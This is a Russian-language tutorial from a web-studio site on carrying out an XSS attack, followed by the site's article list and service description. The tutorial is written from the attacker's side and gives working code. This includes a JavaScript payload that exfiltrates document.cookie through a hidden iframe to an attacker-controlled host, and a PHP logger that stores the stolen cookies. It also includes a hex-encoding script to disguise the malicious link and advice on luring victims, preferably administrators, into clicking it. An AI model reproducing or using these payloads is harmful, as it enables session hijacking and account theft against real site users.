XSS-атака. Общий подход.
Итак, сегодня поговорим об атаке XSS. Давайте для начала разберемся с этой аббревиатурой. Дело в том, что ее часто называют CSS, что может сбить с толку новичка. XSS образовано от английской фразы Cross Site Scripting, что дословно переводится как межсайтовый скрптинг. Отсюда видно, что верная аббревиатура CSS. Но CSS уже существует, она означает Cascading Style Sheets – каскадные таблицы стилей. Чтобы не возникало путаницы, принято межсайтовый скриптинг называть не CSS, а XSS. Это тип уязвимости системы, позволяющий внедрять в код страниц HTML-код. Этот тип уязвимости используется не для атаки сервера, а для атаки его пользователей, просматривающих зараженные страницы.
Чем может быть опасна возможность внедрять свой HTML-код? Сам по себе HTML-код не несет в себе опасности, так как возможностей там не так много. Для расширения его возможностей есть поддержка JavaScript – вот его-то и используют хакеры. Потому как JavaScript исполняется на стороне клиента, этот вид атаки направлен именно на клиентов, а не на сервер.
Смысл этой атаки заключается в том, чтобы узнать значения некоторых переменных у пользователя. А чаще всего, узнать хочется значения тех переменных, которые хранятся у пользователя в COOKIES'ах.
JavaScript позволяет получить доступ к COOKIES пользователя следующим образом:
Quote |
document.cookie |
Это мы учтем. Но мы не можем просто взять и попросить пользователя пройти по ссылке на наш web-сервер, где ему будет выдана страничка, считывающая все COOKIES. Чтобы пользователи так легко не были взломаны, предусмотрена следующая система:
- COOKIES’ы сортируются по сайтам, которые их установили пользователю
- Считать COOKIES определенного сайта (например, сайта www.site.ru) может только сайт, установивший ее (в данном случае, только www.site.ru)
Это нам сильно усложняет жизнь. Надо каким-то образом вставить код, отправляющий эти COOKIES нам, на том сайте, который имеет право на считывание этих COOKIES. Для этого мы ищем на сайте любые места, куда мы можем вставить свой HTML-код. Это могут быть как переменные, передаваемые в командной строке, так и любые другие, которые мы можем модифицировать. Где-нибудь на форумах или в чате это могут быть поля ввода сообщений, или же наш собственный ник. Например, можно ввести в качестве ника:
Quote |
mi<B>cr</B>on |
Если дальше в нике две средние буквы будут отображаться жирным шрифтом, значит в это поле можно внедрять свой HTML-код.
XSS можно условно разделить на 2 вида:
- Активные – при которых пользователь сразу зайдя на зараженную страницу, отправит нам свои данные.
- Пассивные – при которых от пользователя потребуются дополнительные действия. Например, надо будет нажать на специально модифицированную ссылку.
Давайте рассмотрим общий прием того, какой HTML-код следует вписывать на страницу. Для начала нам следует зарегистрировать сайт на каком-нибудь хостинге. Можно на бесплатном. Допустим, это будет myhost.hut.ru. На нем создаем файл file.js со следующим содержимым:
Quote |
document.write('<iframe width=1 height=1 style="position: absolute; visibility: hidden;" src="'+'http://myhost.hut.ru/file.php'+'?host='+location.host+'&cook='+document.cookie+'"></iframe>'); |
Это и будет нашим атакующим кодом. А вызывать мы его будем путем вставки на уязвимую страницу следующего кода:
Quote |
<script src=http://myhost.hut.ru/file.js></script> |
Этот код открывает невидимый фрейм, в котором загружается файл http://myhost.hut.ru/file.php (ему передаются в переменных host и cook хост и COOKIES человека, который открыл страницу). Так как этот фрейм будет являться частью самой зараженной странички, он будет иметь доступ к COOKIES’ам этого сайта. Вот и сбылся наш план – мы запустили php-скрипт на нашем сервере и передали ему данные, полученные другим скриптом (на JavaScript). Самая сложная часть заканчивается. Теперь мы уже в спокойной обстановке у себя на сервере сохраним эти данные в файл. Для этого запишем в файл file.php следующий код:
Quote |
<?
$file = fopen("cookies.txt","a"); fputs($file,"[".date("d.m.y H:i")."]: host=".$_GET[‘host’].", COOKIES=”.$_GET[‘cook’].”\r\n"); fclose($file); ?> |
Данный код предельно прост – записывает в файл cookies.txt полученные данные.
На этом вобщем-то и заканчивается вся техника. Если для того, чтобы запустить весь описанный механизм от пользователя требуется перейти по определенной ссылке, например:
Quote |
http://site.ru/info.php?login=<script src=http://myhost.hut.ru/file.js></script> |
то можно зашифровать часть строки (). Так как при переходе по этой ссылке, эта строка будет передаваться в адресной строке браузера, ее можно перевести в шестнадцатеричный код. Для этого можно написать несложный скрипт, пусть он будет называться encodeurl.php:
Quote |
<? $str = urldecode($_GET['str']); for($i=0;$i<strlen($str);$i++) { if($str[$i]=='&') { echo "$str[$i]"; } else { $hex=dechex(ord($str[$i])); echo "%$hex"; } } ?> |
И передадим ему параметром str ту часть строки, которую будем шифровать:
Quote |
http://myhost.hut.ru/encodeurl.php?str=<script src=http://myhost.hut.ru/file.js></script> |
Он выдаст нам следующий текст:
Quote |
%3c%73%63%72%69%70%74%20%73%72%63%3d%68%74%74%70%3a%2f %2f%6d%79%68%6f%73%74%2e%68%75%74%2e%72%75%2f%66%69%6c%65%2e %6a%73%3e%3c%2f%73%63%72%69%70%74%3e |
Берем нашу специально модифицированную для атаки ссылку (http://site.ru/info.php?login=) и заменяем в ней часть строки на зашифрованную строку:
Quote |
http://site.ru/info.php?login=%3c%73%63%72%69%70%74%20%73%72%63%3d%68 %74%74%70%3a%2f%2f%6d%79%68%6f%73%74%2e%68%75%74%2e %72%75%2f%66%69%6c%65%2e%6a%73%3e%3c%2f%73%63%72%69%70%74%3e |
Теперь в глаза не бросается вредоносный код. И мы смело можем упрашивать жертву зайти по этой ссылке. Либо разместить ее на форуме, где кто-нибудь ее нажмет (лучше всего, если это будет администратор
Ну вот и все, пожалуй...
Дайджест новых статей по интернет-маркетингу на ваш email
Новые статьи и публикации
- 2024-11-26 » Капитан грузового судна, или Как начать использовать Docker в своих проектах
- 2024-11-26 » Обеспечение безопасности ваших веб-приложений с помощью PHP OOP и PDO
- 2024-11-22 » Ошибки в Яндекс Вебмастере: как найти и исправить
- 2024-11-22 » Ошибки в Яндекс Вебмастере: как найти и исправить
- 2024-11-15 » Перенос сайта на WordPress с одного домена на другой
- 2024-11-08 » OSPanel 6: быстрый старт
- 2024-11-08 » Как установить PhpMyAdmin в Open Server Panel
- 2024-09-30 » Как быстро запустить Laravel на Windows
- 2024-09-25 » Next.js
- 2024-09-05 » OpenAI рассказал, как запретить ChatGPT использовать содержимое сайта для обучения
- 2024-08-28 » Чек-лист: как увеличить конверсию интернет-магазина на примере спортпита
- 2024-08-01 » WebSocket
- 2024-07-26 » Интеграция с Яндекс Еда
- 2024-07-26 » Интеграция с Эквайринг
- 2024-07-26 » Интеграция с СДЕК
- 2024-07-26 » Интеграция с Битрикс-24
- 2024-07-26 » Интеграция с Travelline
- 2024-07-26 » Интеграция с Iiko
- 2024-07-26 » Интеграция с Delivery Club
- 2024-07-26 » Интеграция с CRM
- 2024-07-26 » Интеграция с 1C-Бухгалтерия
- 2024-07-24 » Что такое сторителлинг: техники и примеры
- 2024-07-17 » Ошибка 404: что это такое и как ее использовать для бизнеса
- 2024-07-03 » Размещайте прайс-листы на FarPost.ru и продавайте товары быстро и выгодно
- 2024-07-01 » Профилирование кода в PHP
- 2024-06-28 » Изучаем ABC/XYZ-анализ: что это такое и какие решения с помощью него принимают
- 2024-06-17 » Зачем вам знать потребности клиента
- 2024-06-11 » Что нового в работе Яндекс Метрики: полный обзор обновления
- 2024-06-11 » Поведенческие факторы ранжирования в Яндексе
- 2024-06-11 » Скорость загрузки сайта: почему это важно и как влияет на ранжирование
Неудача — это не единичное внезапное событие. Ваш провал не возникает внезапно. Напротив, неудача появляется, когда вы совершаете одни и те же ошибки изо дня в день. Джим Рон |
Мы создаем сайты, которые работают! Профессионально обслуживаем и продвигаем их , а также по всей России и ближнему зарубежью с 2006 года!
Как мы работаем
Заявка
Позвоните или оставьте заявку на сайте.
Консультация
Обсуждаем что именно Вам нужно и помогаем определить как это лучше сделать!
Договор
Заключаем договор на оказание услуг, в котором прописаны условия и обязанности обеих сторон.
Выполнение работ
Непосредственно оказание требующихся услуг и работ по вашему заданию.
Поддержка
Сдача выполненых работ, последующие корректировки и поддержка при необходимости.
Хитрый план)